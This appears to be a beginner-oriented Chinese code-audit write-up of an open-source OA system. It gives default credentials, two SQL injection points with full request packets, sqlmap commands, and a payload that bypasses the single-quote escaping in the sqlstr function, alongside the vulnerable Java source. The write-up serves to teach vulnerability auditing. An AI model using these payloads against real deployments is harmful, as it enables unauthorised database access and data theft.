某开源OA代码审计(适用于新手)

文摘   2024-03-08 09:08   陕西  

某OA代码审计

前言:

学弟的一篇投稿文章,对于刚入门代码审计的新手比较友好

登录框

密码为加密字符串

可无视加密,直接用明文登录

代码路径/c-core/src/main/java/com/cloudweb/oa/security/LoginAuthenticationProvider.java

SQL注入1

漏洞利用

admin/111111

使用账号密码登录OA

抓包,构造请求包

POST /oa/address/list HTTP/1.1
Host: 10.211.55.2:8096
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: skincode=lte; name=admin; pwd=; JSESSIONID=6637C0F4D46524AAF332FD23A218DF9E
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 69

op=1&userName=2&type=3&typeId=4&person=5&company=6&mobile=7&orderBy=8

发包是这样的,说明路径存在

参数“orderBy”处加上单引号,说明存在sql注入

放入sqlmap梭哈

python3 sqlmap.py -r url.txt --batch --risk 3 --threads 4 -v 3

代码分析

打开项目下pom.xml文件,发现存在Mybatis组件,可能存在sql注入

按照其他大佬的文章,先搜索Mybatis配置文件中的关键字

${
Statement
createStatement
PrepareStatement
like '%${
in (${

找到"${sql}",sql为传入参数,然后要确定这个参数是否为可控参数

往上滑,查找“namespace”里面参数,看看是哪个类使用了mapper

这里可以看到,AddressService.java类导入了mapper

打开AddressService.java,浏览一下这段代码

package com.cloudweb.oa.service;

import cn.js.fan.db.ListResult;
import cn.js.fan.util.ErrMsgException;
import cn.js.fan.util.StrUtil;
import com.cloudweb.oa.bean.Address;
import com.cloudweb.oa.dao.AddressDao;
import com.github.pagehelper.PageHelper;
import com.github.pagehelper.PageInfo;
import com.redmoon.oa.db.SequenceManager;
import com.redmoon.oa.pvg.Privilege;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;

import javax.annotation.PostConstruct;
import javax.servlet.http.HttpServletRequest;
import java.util.List;
import java.util.Vector;

/**
 * @Author: qcg
 * @Description:
 * @Date: 2018/12/28 14:34
 */

@Service
public class AddressService {

    public static final int TYPE_PUBLIC = 1;
    public static final int TYPE_USER = 0;

    @Autowired
    private AddressDao addressDao;

    @Autowired
    private HttpServletRequest request;

    public AddressService() {
    }

    private static AddressService addrService;

    // 被@PostConstruct修饰的方法会在服务器加载Servlet的时候运行,并且只会被服务器调用一次,类似于Servlet的init()方法。被@PostConstruct修饰的方法会在构造函数之后,init()方法之前运行
    // 该注解的方法在整个Bean初始化中的执行顺序:
    // Constructor(构造方法) -> @Autowired(依赖注入) -> @PostConstruct(注释的方法)
    @PostConstruct //通过@PostConstruct实现初始化bean之前进行的操作,本处是为了支持非spring扫描的包中调用
    public void init() {
        addrService = this;
    }

    public AddressDao getAddressDao() {
        addressDao = addrService.addressDao;
        // 也可以通过SpringHelper.getBean获取
        /*if (addressDao == null) {
            addressDao = SpringHelper.getBean(AddressDao.class);
        }*/

        return addressDao;
    }

    public Address getAddress(int id){
        return getAddressDao().getAddress(id);
    }

    public Address getAddressByMobile(String mobile) {
        return getAddressDao().getAddressByMobile(mobile);
    }

    public boolean create(Address address) throws ErrMsgException{
        String errmsg = "";
        Privilege privilege = new Privilege();
/*  if (address.getTypeId().equals("")) {
            errmsg += "请选择类别!";
        }*/

        if (address.getPerson() == null || address.getPerson().equals("")) {
            errmsg += "姓名不能为空!";
        }
        if (address.getPostalcode().length() > 10) {
            errmsg += "邮政编码长度不能超过10位!\\n";
        }
        if (!errmsg.equals("")) {
            throw new ErrMsgException(errmsg);
        }

        if (address.getType() == TYPE_PUBLIC) {
            if (!privilege.isUserPrivValid(request, "admin.address.public")) {
                throw new ErrMsgException(Privilege.MSG_INVALID);
            }
        }
        // 生成id
        int id = (int) SequenceManager.nextID(SequenceManager.OA_ADDRESS);
        address.setId(id);
        address.setUserName(privilege.getUser(request));
        address.setUnitCode(privilege.getUserUnitCode(request));
        return getAddressDao().create(address);
    }

    public boolean del(int id){
        return getAddressDao().del(id);
    }

    public boolean save(Address address) throws ErrMsgException{
        String errmsg = "";
        Privilege privilege = new Privilege();

/*  if (address.getTypeId()==null || address.getTypeId().equals("")) {
            errmsg += "请选择类别!";
        }*/

        String person = address.getPerson();
        if (person == null || person.equals("")) {
            errmsg += "姓名不能为空!";
        }
        if (address.getPostalcode().length() > 10) {
            errmsg += "邮政编码长度不能超过10位!\\n";
        }
        if (!errmsg.equals("")) {
            throw new ErrMsgException(errmsg);
        }
        return getAddressDao().save(address);
    }

    public ListResult listSql(String sql){
        List<Address> list = getAddressDao().selectList(sql);
        Vector vector = new Vector();
        vector.addAll(list);
        ListResult listResult = new ListResult();
        listResult.setTotal(list.size());
        listResult.setResult(vector);
        return listResult;
    }

    public ListResult listResult(String sql, int curPage, int pageSize) {
        PageHelper.startPage(curPage, pageSize); // 分页查询
        List<Address> list = addressDao.selectList(sql);
        PageInfo<Address> pageInfo = new PageInfo<>(list);

        ListResult lr = new ListResult();
        Vector v = new Vector();
        v.addAll(list);
        lr.setResult(v);
        lr.setTotal(pageInfo.getTotal());
        return lr;
    }

    public void delBatch(String ids) throws ErrMsgException{
        String[] idTemp = ids.split(",");
        Privilege privilege = new Privilege();
        String userUnitCode = privilege.getUserUnitCode(request);
        // 首先判断此数据是否存在
        for(String id : idTemp){
            Address address = getAddress(StrUtil.toInt(id));
            if (address == null){
                throw new ErrMsgException("该项已不存在!");
            }
            if (address.getType() == TYPE_PUBLIC) {
                if (!privilege.isUserPrivValid(request, "admin.address.public") || !address.getUnitCode().equals(userUnitCode)) {
                    throw new ErrMsgException(Privilege.MSG_INVALID);
                }
            } else {
                if (!privilege.getUser(request).equals(address.getUserName())) {
                    throw new ErrMsgException("非法操作!");
                }
            }
            del(StrUtil.toInt(id));
        }
    }

    /**
     * 用于获取sql语句
     * @param op
     * @param userName
     * @param type
     * @param typeId
     * @param person
     * @param company
     * @param mobile
     * @param orderBy
     * @param sort
     * @return
     */

    public String getSql(String op, String userName, int type, String typeId, String person, String company, String mobile, String orderBy, String sort,String unit_code){
        String sql = "select * from address where type=" + type;
        if (type == TYPE_PUBLIC) {
            if (typeId.equals("public")) {
                op = "search";
                typeId = "";
            }
        } else {
            if (typeId.equals(userName)) {
                op = "search";
                typeId = "";
            }
        }

        if (op.equals("search")) {
            if (type == TYPE_USER) {
                sql = "select * from address where userName=" + StrUtil.sqlstr(userName) + " and type=" + TYPE_USER;
            } else {
                sql = "select * from address where type=" + type;
            }
            if (!person.equals("")) {
                sql += " and person like " + StrUtil.sqlstr("%" + person + "%");
            }

            if (!company.equals("")) {
                sql += " and company like " + StrUtil.sqlstr("%" + company + "%");
            }

            if (!typeId.equals("")) {
                sql += " and typeId = " + StrUtil.sqlstr(typeId);
            }
            if (!mobile.equals("")) {
                sql += " and mobile like " + StrUtil.sqlstr("%" + mobile + "%");
            }
        } else {
            if (!typeId.equals("")) {
                sql += " and typeId = " + StrUtil.sqlstr(typeId);
            }
            if (type != TYPE_PUBLIC) {
                sql += " and userName=" + StrUtil.sqlstr(userName);
            }
        }

        if (type == TYPE_PUBLIC) {
            sql += " and unit_code=" + StrUtil.sqlstr(unit_code);
        }

        sql += " order by " + orderBy;
        sql += " " + sort;
        return sql;
    }
}

读完代码后,找到这段代码,有读注和一个声明公开的函数,而函数所构造的“sql”参数就是我们要找的

知道了这个函数是用于拼接并返回“sql”参数的,接下来就要找,是谁在调用这个函数

跟踪函数到AddressController.java

sql获取到了所构造的sql语句,然后一起传入了addressService.listResult()函数,接着跟踪listResult()函数

这里可以看到,该函数是已经在返回结果了,说明找的方向不是这个函数

重新返回到AddressController.java,发现这两个语句是在list()函数里边的,往上滑,找到了这个函数的使用路径

构造路径并访问

http://10.211.55.2:8096/oa/address/list

页面存在,抓包,构造参数,参数构造也不麻烦,根据list()函数里面的代码进行构造

对这些参数进行注入测试

发现存在sql报错

然后sqlmap梭哈即可

SQL注入2

漏洞利用

抓包,构造请求包

POST /oa/admin/getAccountList HTTP/1.1
Host: 10.211.55.2:8096
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: skincode=lte; pwd=; name=admin; JSESSIONID=4F7E4C7131CA421F81FF22EF89960822
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 98

userName=admin&op=search&by=userName&what=1&searchUnitCode=1&unitCode=root&pageNum=1&pageSize=1

参数”what“和”searchUnitCode“处存在注入点,这里用参数”what“测试

userName=admin&op=search&by=userName&what=1\'&searchUnitCode=1&unitCode=root&pageNum=1&pageSize=1

sqlmap运行结果

python3 sqlmap.py -r url.txt --batch --risk 3 -v 2

代码分析

在Mybits配置文件中查找字符”${“

打开该配置文件,找到引用mapper的类

在文件中查找

阅读该页面代码,在list函数中找到构建sql参数的函数,这里首先要确定哪两个变量是可控的,根据代码可以确定”what“和”searchUnitCode“是可控的变量

这里构建完sql语句后,返回sql参数到数据库进行执行

查看一下是哪个地方引用了list函数

映射的路径以及构造参数都在下面代码里面

所以直接构造路径和参数,正常返回信息,页面存在,尝试注入

添加了单引号发现并没有出现报错页面,返回sql构造函数那里看看情况

这里发现,输入的参数是经过sqlstr函数进行处理的

跟踪sqlstr查看情况

这里发现,这段代码是对单引号进行了处理,从而避免了单引号导致mysql报错的问题

接下来是对这个字符处理进行绕过,因为这里只对单引号进行处理,因此可以构造payload

what=1 ==> what=1''
what=1\' ==> what=1'

接下来sqlmap运行即可


赤弋安全团队
渗透测试,代码审计,CTF ,红蓝对抗,SRC
 最新文章